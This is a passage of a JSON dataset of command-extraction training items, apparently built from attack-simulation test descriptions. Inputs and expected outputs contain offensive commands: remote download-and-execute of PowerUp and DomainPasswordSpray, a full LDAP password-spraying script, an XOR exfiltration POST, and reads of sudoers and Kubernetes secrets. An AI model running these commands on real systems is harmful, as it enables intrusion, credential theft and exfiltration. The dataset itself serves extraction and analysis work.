    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The script performs DNS lookups across the local subnet by first determining the IP range and then executing nslookup for each address, via the following PowerShell command:\n$localip = ((ipconfig | findstr [0-9]\\.\\\\.)[0]).Split()[-1]\n$pieces = $localip.split(\".\")\n$firstOctet = $pieces[0]\n$secondOctet = $pieces[1]\n$thirdOctet = $pieces[2]\nforeach ($ip in 1..255 | % { \"$firstOctet.$secondOctet.$thirdOctet.$_\" } ) {cmd.exe /c nslookup $ip}; To enumerate and export DNS records for internal network reconnaissance, run the following command after ensuring Python 3 and adidnsdump are installed: \"#{venv_path}\\Scripts\\adidnsdump\" -u #{user_name} -p #{acct_pass} --print-zones #{host_name}\n",
    "output": "{\"command_list\": [\"$localip = ((ipconfig | findstr [0-9].\\\\.)[0]).Split()[-1]\\n$pieces = $localip.split(\\\".\\\")\\n$firstOctet = $pieces[0]\\n$secondOctet = $pieces[1]\\n$thirdOctet = $pieces[2]\\nforeach ($ip in 1..255 | % { \\\"$firstOctet.$secondOctet.$thirdOctet.$_\\\" } ) {cmd.exe /c nslookup $ip}\\n\", \"\\\"#{venv_path}\\\\Scripts\\\\adidnsdump\\\" -u #{user_name} -p #{acct_pass} --print-zones #{host_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The password complexity requirements can be displayed by running this command: cat /etc/pam.d/common-password; The password complexity settings can be viewed by executing this command: cat /etc/pam.d/passwd",
    "output": "{\"command_list\": [\"cat /etc/pam.d/common-password\\n\", \"cat /etc/pam.d/passwd\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following command utilizes rundll32.exe with advpack.dll to execute calc.exe: rundll32.exe advpack.dll,LaunchINFSection \"#{inf_to_execute}\",DefaultInstall_SingleUser,1,; The execution of calc.exe can be triggered through rundll32.exe and ieadvpack.dll using the command: rundll32.exe ieadvpack.dll,LaunchINFSection \"#{inf_to_execute}\",DefaultInstall_SingleUser,1,",
    "output": "{\"command_list\": [\"rundll32.exe advpack.dll,LaunchINFSection \\\"#{inf_to_execute}\\\",DefaultInstall_SingleUser,1,\\n\", \"rundll32.exe ieadvpack.dll,LaunchINFSection \\\"#{inf_to_execute}\\\",DefaultInstall_SingleUser,1,\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For sudo enumeration, you can check available permissions and view the sudoers file with these commands: sudo -l      \nsudo cat /etc/sudoers\nsudo vim /etc/sudoers; To enumerate common sudo privileges, use the following commands: sudo -l\nsudo cat /usr/local/etc/sudoers\nsudo ee /usr/local/etc/sudoers",
    "output": "{\"command_list\": [\"sudo -l      \\nsudo cat /etc/sudoers\\nsudo vim /etc/sudoers\\n\", \"sudo -l      \\nsudo cat /usr/local/etc/sudoers\\nsudo ee /usr/local/etc/sudoers\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test queries the Kubernetes API for sensitive information by executing this command: kubectl get secrets --all-namespaces; To retrieve sensitive information stored as Kubernetes secrets in a specific namespace, use the following command: kubectl get secrets -n #{namespace}",
    "output": "{\"command_list\": [\"kubectl get secrets --all-namespaces\\n\", \"kubectl get secrets -n #{namespace}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To conduct a domain password spray attack, first ensure TLS 1.2 is enabled and then run the following command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force; Here's how to conduct a password spray attack against Active Directory domain users through LDAP authentication, requiring the AD RSAT module and domain user privileges, using this script:\nif (\"#{auth}\".ToLower() -NotIn @(\"ntlm\",\"kerberos\")) {\n  Write-Host \"Only \\'NTLM\\' and \\'Kerberos\\' auth methods are supported\"\n  exit 1\n}\n\n$DomainUsers = Get-ADUser -LDAPFilter \\'(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))\\' -Server #{domain} | Select-Object -ExpandProperty SamAccountName\n\n[System.Reflection.Assembly]::LoadWithPartialName(\"System.DirectoryServices.Protocols\") | Out-Null\n$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier(\"#{domain}\",389)\n\n$DomainUsers | Foreach-Object {\n  $user = $_\n  $password = \\'#{password}\\'\n\n  $credz = new-object System.Net.NetworkCredential($user, $password, \"#{domain}\")\n  $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})\n  try {\n    Write-Host \" [-] Attempting ${password} on account ${user}.\"\n    $conn.bind()\n    # if credentials aren\\'t correct, it will break just above and goes into catch block, so if we\\'re here we can display success\n    Write-Host \" [!] ${user}:${password} are valid credentials!\"\n  } catch {\n    Write-Host $_.Exception.Message\n  }\n}\nWrite-Host \"End of password spraying\"\n",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force\\n\", \"if (\\\"#{auth}\\\".ToLower() -NotIn @(\\\"ntlm\\\",\\\"kerberos\\\")) {\\n  Write-Host \\\"Only 'NTLM' and 'Kerberos' auth methods are supported\\\"\\n  exit 1\\n}\\n\\n$DomainUsers = Get-ADUser -LDAPFilter '(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' -Server #{domain} | Select-Object -ExpandProperty SamAccountName\\n\\n[System.Reflection.Assembly]::LoadWithPartialName(\\\"System.DirectoryServices.Protocols\\\") | Out-Null\\n$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier(\\\"#{domain}\\\",389)\\n\\n$DomainUsers | Foreach-Object {\\n  $user = $_\\n  $password = '#{password}'\\n\\n  $credz = new-object System.Net.NetworkCredential($user, $password, \\\"#{domain}\\\")\\n  $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})\\n  try {\\n    Write-Host \\\" [-] Attempting ${password} on account ${user}.\\\"\\n    $conn.bind()\\n    # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success\\n    Write-Host \\\" [!] ${user}:${password} are valid credentials!\\\"\\n  } catch {\\n    Write-Host $_.Exception.Message\\n  }\\n}\\nWrite-Host \\\"End of password spraying\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For XOR encoding the plaintext with a key and posting the result to a destination URL, run the following PowerShell script: $plaintext = ([system.Text.Encoding]::UTF8.getBytes(\"#{plaintext}\"))\n$key = \"#{key}\"\n$cyphertext =  @();\nfor ($i = 0; $i -lt $plaintext.Count; $i++) {\n $cyphertext += $plaintext[$i] -bxor $key[$i % $key.Length];\n}\n$cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext)\n[System.Net.ServicePointManager]::Expect100Continue = $false\nInvoke-WebRequest -Uri #{destination_url} -Method POST -Body $cyphertext -DisableKeepAlive; The system will execute ps commands and store results in a file via these commands: ps >> #{output_file}\nps aux >> #{output_file}\n",
    "output": "{\"command_list\": [\"$plaintext = ([system.Text.Encoding]::UTF8.getBytes(\\\"#{plaintext}\\\"))\\n$key = \\\"#{key}\\\"\\n$cyphertext =  @();\\nfor ($i = 0; $i -lt $plaintext.Count; $i++) {\\n $cyphertext += $plaintext[$i] -bxor $key[$i % $key.Length];\\n}\\n$cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext)\\n[System.Net.ServicePointManager]::Expect100Continue = $false\\nInvoke-WebRequest -Uri #{destination_url} -Method POST -Body $cyphertext -DisableKeepAlive\\n\", \"ps >> #{output_file}\\nps aux >> #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n     